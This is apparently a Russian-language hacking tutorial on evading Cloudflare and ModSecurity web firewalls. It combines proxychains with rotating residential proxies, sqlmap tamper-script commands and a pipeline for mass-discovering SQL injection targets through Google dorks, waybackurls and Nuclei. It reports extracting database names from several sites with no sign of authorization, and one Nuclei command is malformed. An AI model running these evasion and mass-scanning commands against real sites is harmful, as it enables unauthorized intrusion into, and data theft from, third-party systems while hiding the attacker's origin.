Практическое руководство по изучению и тестированию техник обхода WAF с помощью продвинутых настроек SQLMap и proxychains.

Введение

В современном быстро меняющемся мире кибербезопасности веб-фаерволы (WAF) играют важнейшую роль в защите сайтов от вредоносных воздействий, таких как SQL-инъекции. Однако и злоумышленники, и этичные хакеры постоянно ищут новые методы для тестирования и обхода таких мер защиты.

В этом руководстве я покажу, как использовать SQLMap, ProxyChains и tamper-скрипты для проверки и оценки эффективности WAF. Вы узнаете, как настроить эти инструменты и проводить сканирование, соблюдая этические стандарты и лучшие практики.

Что такое Web Application Firewall (WAF)

Веб-фаервол — это система безопасности, которая отслеживает и фильтрует HTTP-трафик к веб-приложению и от него. Она защищает приложения, анализируя трафик и блокируя вредоносные данные, такие как SQL-инъекции, XSS и многое другое.

    Возможности WAF:

    • Фильтрация запросов  

    • Геоблокировка  

    • Ограничение частоты запросов  

    • Создание пользовательских правил

    Популярные WAF:

    • Cloudflare  

    • ModSecurity  

    • AWS WAF  

    • Imperva

Начало работы и настройка

Нам понадобятся следующие инструменты:

    • SQLMap — мощное средство для автоматизации SQL-инъекций  

    • ProxyChains — направляет трафик через прокси  

    • Резидентные прокси — имитируют обычных пользователей, отлично подходят для обхода средств обнаружения атак

Что важно знать про Cloudflare и ModSecurity WAF

    • Cloudflare: Один из самых популярных WAF. Фильтрует, блокирует по сигнатурам, поведению и паттернам.

    • ModSecurity: Открытый исходный код, широко применяется на серверах Apache/Nginx. Мощный фильтр, основанный на правилах.

Как WAF блокируют SQL-инъекции

WAF обнаруживают вредоносные запросы по характерным признакам. Например:

    • Ключевые слова, такие как UNION, SELECT, DROP и др.

    • Известные вредоносные цепочки и методы обхода защиты

    • Частота запросов и IP-адрес источника

Когда SQLMap отправляет пейлоад вроде ' OR 1=1 — WAF может моментально распознать это и вернуть ошибку 403 Forbidden или страницу блокировки. Но есть нюанс: грамотное обфусцирование и смена IP могут значительно повысить шансы на обход таких защит.

Тестирование XSS-пейлоадов на WAF

Введение пейлоадов с помощью расширения HackBar

Давайте разогреемся на XSS. Откройте HackBar в браузере, загрузите ссылку тестового сайта и вставьте пейлоад в нужный параметр для проверки:

Бам! Заблокировано. Cloudflare мгновенно обнаруживает пейлоад и показывает страницу блокировки. Для них это успех, а для нас — преграда.

На другом сайте с ModSecurity — тот же результат. Пейлоады вызывают ошибки, и запросы отклоняются. Очевидно, нам нужно что-то более продвинутое.

Первичная разведка с помощью Ghauri

Ghauri отлично подходит для автоматизированного обнаружения SQL-инъекций, особенно в MySQL-базах данных. Достаточно указать URL, и он найдет уязвимые параметры. В нашем случае изначально он пометил параметр id как уязвимый к булевым SQL-инъекциям, но после нескольких попыток выяснил, что это ложное срабатывание.

Инструменты есть инструменты — они не идеальны. Ложноположительный результат не означает, что цель неуязвима. Нужно действовать хитрее. Вот тут-то и раскрываются преимущества ручного тестирования и техник обхода.

Настройка ProxyChains для обхода WAF

Откройте конфигурационный файл ProxyChains с помощью следующей команды:

sudo mousepad /etc/proxychains.conf

По умолчанию установлено 127.0.0.1:9050. Закомментируйте эту строку, добавив #, чтобы отключить локальный прокси, и вставьте резидентные прокси следующим образом:

http <ipaddress> <port> [username] [password]

http <ipaddress> <port> [username] [password]

Теперь после этого отключите опцию dynamic_chain и включите random_chain. Это повысит надёжность при работе с несколькими прокси — если один прокси перестанет работать, ProxyChains автоматически переключится на другой. Также включите quiet_mode, чтобы скрыть логи ProxyChains во время работы ваших инструментов. После всех изменений сохраните конфигурационный файл.

#dynamic_chain

#

# Dynamic - Each connection will be done via chained proxies

# all proxies chained in the order as they appear in the list

# at least one proxy must be online to play in chain

# (dead proxies are skipped)

# otherwise EINTR is returned to the app

#

#strict_chain

#

# Strict - Each connection will be done via chained proxies

# all proxies chained in the order as they appear in the list

# all proxies must be online to play in chain

# otherwise EINTR is returned to the app

#

random_chain

#

# Random - Each connection will be done via random proxy

# (or proxy chain, see  chain_len) from the list.

# this option is good to test your IDS :)

# Make sense only if random_chain

#chain_len = 2

# Quiet mode (no output from library)

quiet_mode

Проверка ProxyChains с помощью Curl

После завершения настройки выполните простую команду curl через ProxyChains, чтобы убедиться, что всё работает правильно:

proxychains curl http://ipinfo.io

proxychains curl http://ipinfo.io/ip

Если после выполнения этих команд вы получаете ответы с разных IP-адресов при каждом запросе, значит, ProxyChains успешно направляет ваш трафик через резидентные прокси. Именно это и нужно для обхода лимита запросов и веб-фаерволов (WAF). 

Также вы можете посетить любой сайт с помощью браузера через ProxyChains, просто введя команду proxychains firefox. Ваш IP должен продолжать меняться.

SQLMap + ProxyChains + tampers в действии

Теперь давайте применим SQLMap вместе с ProxyChains и несколькими tamper-скриптами, чтобы проверить, сможем ли мы обойти Cloudflare WAF с помощью следующей команды:

proxychains sqlmap -u 'url' --dbs --batch -p id --random-agent --tamper=between,space2comment --dbms mysql --tech=B --no-cast  --flush-session --threads 10

И вот, посмотрите — SQLMap успешно обошёл Cloudflare и вывел имена таблиц базы данных.

Вот еще несколько примеров обхода для предыдущих 403-их страниц различных сайтов.

Теперь давайте попробуем обойти ModSecurity, используя тот же tamper-скрипт и proxychains.

Как видите, мы успешно получили имена таблиц баз данных с двух разных сайтов. Впечатляет, правда? Это показывает, насколько эффективны ProxyChains и правильно подобранные tamper-скрипты для обхода даже мощных WAF.

Массовый поиск SQL-инъекций

Теперь давайте масштабируем этот процесс и поговорим о том, как массово искать SQL-инъекции на похожих поддоменах. Я начал с простого Google Dork, чтобы найти похожие поддомены, используя свой dork-скрипт.

https://github.com/coffinxp/scripts/blob/main/dorking.py

Теперь извлекаем только доменные имена и сохраняем их в отдельный чистый список.

cat dinkes.txt | awk -F/ '{print $3}' | sort -u

Далее используем waybackurls, в сочетании с шаблонами gf и uro, чтобы получить уникальные URL с SQL-параметрами из пассивных источников:

cat drinkes.txt | waybackurls | gf sqli | uro >new.txt

Уменьшение шума для эффективного сканирования

Поскольку тестировать все сразу будет неэффективно, мы можем уменьшить шум с помощью этого регулярного выражения, которое отдаёт только один URL с SQL-параметром на домен — отличный способ быстро выявить уязвимые цели среди большого количества ресурсов.

cat new.txt | gawk -F/ '{host=$3; sub(/:80$/, "", host); if (!(host in seen)) { print $0; seen[host] } }'

Сканирование с помощью Nuclei SQLi шаблона

Теперь запустите Nuclei с шаблоном DAST SQLi:

nuclei -l urls.txt  |gawk -F/ '{host=$3; sub(/:80$/, "", host); if (!(host in seen)) { print $0; seen[host] } }' | -t nuclei-templates/dast/sql-injection.yaml

nuclei -l urls.txt -t nuclei-templates/dast/sql-injection.yaml

Это позволяет за считанные секунды выполнить проверку на SQL-инъекции для тысяч URL-адресов.

https://github.com/coffinxp/nuclei-templates/blob/main/errsqli.yaml

Заключение

ProxyChains и SQLMap — мощная комбинация для обхода WAF. Если добавить резидентские прокси и использовать tamper-скрипты, вы с легкостью сможете обходить даже самые сложные WAF, такие как Cloudflare, ModSecurity и другие. Главная сила этой связки в том, что она позволяет масштабировать тестирование и автоматизировать задачи, чтобы вы могли сосредоточиться на поиске реальных уязвимостей, а не тратить время на ложные срабатывания.

Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер